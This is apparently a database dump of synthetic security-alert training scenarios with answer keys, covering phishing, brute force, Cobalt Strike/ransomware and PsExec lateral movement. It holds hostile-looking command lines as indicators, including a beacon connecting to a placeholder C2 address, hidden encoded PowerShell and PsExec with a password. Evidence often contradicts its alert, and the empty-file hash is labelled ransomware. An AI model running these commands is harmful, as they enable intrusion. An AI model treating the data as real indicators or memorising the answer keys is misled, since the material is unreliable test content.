attack.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(689, 'Phishing Email Containing Malicious URL', 'medium', 'Proofpoint', 'A phishing email purporting to be from a legitimate service was received by a user. The email contains a URL leading to a fake login page.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:22:10Z\",\"event_type\":\"email_received\",\"email_sender\":\"no-reply@secure-login.com\",\"username\":\"jdoe\",\"hostname\":\"mailserver-01\",\"url\":\"http://malicious-login.com/login\"}', '2026-01-09 23:23:58', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"no-reply@secure-login.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Email sender domain detected in phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-login.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL leads to a phishing page attempting to steal credentials\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_url\",\"warn_user\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The URL in the email is confirmed malicious and is a known phishing site attempting to harvest credentials.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Containing Malicious URL\",\"date\":\"2026-02-01T20:32:22.337Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(690, 'Suspicious Network Connection from Internal System', 'low', 'Firewall', 'A network connection was observed from an internal system to an external IP address. The connection was flagged due to unusual activity patterns.', 'Network Anomaly', 'N/A', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T11:02:33Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"203.0.113.55\",\"hostname\":\"workstation-12\"}', '2026-01-10 14:41:41', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The external IP has no malicious activity reports, indicating this is likely benign activity.\"}', 'Novice', 'NDR', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(691, 'Ransomware Attack Detected via Cobalt Strike Beacon', 'critical', 'CrowdStrike', 'A Cobalt Strike beacon was detected on the network, originating from an external IP address known for malicious activity. The beacon was executed on a compromised internal machine, indicating potential ransomware deployment.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T14:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.25\",\"username\":\"jdoe\",\"hostname\":\"CORP-WS-123\",\"command_line\":\"C:\\\\Program Files\\\\Common Files\\\\cs.exe -connect 203.0.113.45:443\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-09 17:36:25', '2026-02-16 18:05:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for hosting Cobalt Strike C2 servers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised machine.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Cobalt Strike payloads.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a Cobalt Strike beacon indicates an active attempt to deploy ransomware, necessitating immediate remediation.\"}', 'Beginner', 'EDR', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(692, 'Suspicious Login Attempts Detected from Foreign IP', 'high', 'Wazuh', 'Multiple failed login attempts were detected from an IP address located in a region with no known business operations. This could indicate a potential brute force attack.', 'Brute Force', 'T1078', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T10:15:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.0.2.77\",\"username\":\"admin\",\"hostname\":\"CORP-SERVER-01\",\"failed_attempts\":25}', '2026-01-09 16:58:08', '2026-02-22 14:26:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP frequently reported for login brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username for brute force attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hostname\",\"value\":\"CORP-SERVER-01\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal server targeted by brute force attempts.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated failed login attempts from a suspicious IP address suggest a brute force attack.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.339Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.77\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:31:22.339Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.77\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:30:22.339Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.77\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:29:22.339Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.77\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:28:22.339Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.77\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(693, 'Phishing Email with Malicious URL Detected', 'medium', 'Proofpoint', 'A phishing email was detected containing a malicious URL intended to harvest user credentials. The email was sent from a spoofed domain mimicking a trusted partner.', 'Phishing', 'T1566', 1, 'investigating', 237, '{\"timestamp\":\"2026-01-11T08:45:20Z\",\"event_type\":\"email_received\",\"email_sender\":\"alerts@trusted-partner.com\",\"username\":\"asmith\",\"malicious_url\":\"http://malicious-url.com/login\"}', '2026-01-09 20:28:49', '2026-03-04 15:58:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"alerts@trusted-partner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"suspicious\",\"details\":\"Email domain appears to be spoofed.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-url.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL known for phishing attempts.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"asmith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal user targeted by phishing attempt.\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The malicious URL and spoofed domain indicate a phishing attempt to steal user credentials.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious URL Detected\",\"date\":\"2026-02-01T20:32:22.340Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(694, 'Failed RDP Access from Known Safe IP', 'low', 'Firewall', 'A failed RDP access attempt was logged from an IP address previously whitelisted for remote connections. The activity appears to be benign.', 'Brute Force', 'T1078', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T12:30:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"username\":\"mnguyen\",\"hostname\":\"CORP-RDP-SERVER\",\"failed_attempts\":3}', '2026-01-10 16:12:35', '2026-02-22 14:53:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"IP address is whitelisted for remote access.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mnguyen\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"User confirmed to have attempted RDP login.\"}},{\"id\":\"artifact_3\",\"type\":\"hostname\",\"value\":\"CORP-RDP-SERVER\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"RDP server receiving authorized connection attempts.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is whitelisted, indicating the failed login attempts are likely a result of user error rather than malicious intent.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(695, 'LockBit Ransomware Detected via Cobalt Strike Beacon', 'critical', 'CrowdStrike', 'A Cobalt Strike beacon was detected communicating with a known LockBit ransomware command and control server. The affected machine is showing signs of ransomware infection.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T03:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.15.23\",\"dst_ip\":\"185.199.110.153\",\"username\":\"jdoe\",\"hostname\":\"CORP-WKSTN-45\",\"command_line\":\"powershell.exe -nop -w hidden -enc aW5mbw==\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-10 03:14:01', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.110.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP reported 1203 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.15.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -enc aW5mbw==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicating potential malicious activity\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"File hash associated with LockBit ransomware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a Cobalt Strike beacon and known ransomware file hash confirms the infection.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(696, 'Suspicious RDP Login Attempts Detected', 'high', 'Wazuh', 'Multiple failed RDP login attempts detected from an external IP address. The attempts indicate a potential brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:15:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"RDP-SERVER\",\"failed_attempts\":37}', '2026-01-09 18:53:30', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target server\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed login attempts from a foreign IP suggests a brute force attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.343Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":37}\"},{\"timestamp\":\"2026-02-01T20:31:22.343Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":37}\"},{\"timestamp\":\"2026-02-01T20:30:22.343Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":37}\"},{\"timestamp\":\"2026-02-01T20:29:22.343Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":37}\"},{\"timestamp\":\"2026-02-01T20:28:22.343Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":37}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(697, 'ALPHV Ransomware Reconnaissance Activity Detected', 'medium', 'Splunk', 'Suspicious use of PsExec detected, indicating potential lateral movement associated with ALPHV ransomware.', 'Lateral Movement', 'T1077', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T02:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.12\",\"dst_ip\":\"10.0.0.23\",\"username\":\"svc_admin\",\"hostname\":\"CORP-SERVER-01\",\"command_line\":\"psexec.exe \\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\"}', '2026-01-11 13:49:48', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP involved in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP involved in lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"PsExec usage for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PsExec is commonly used for lateral movement, especially in ransomware operations.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.344Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.12\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"svc_admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.344Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.12\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"svc_admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.344Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.12\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"svc_admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.344Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.12\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"svc_admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.344Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.12\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"svc_admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
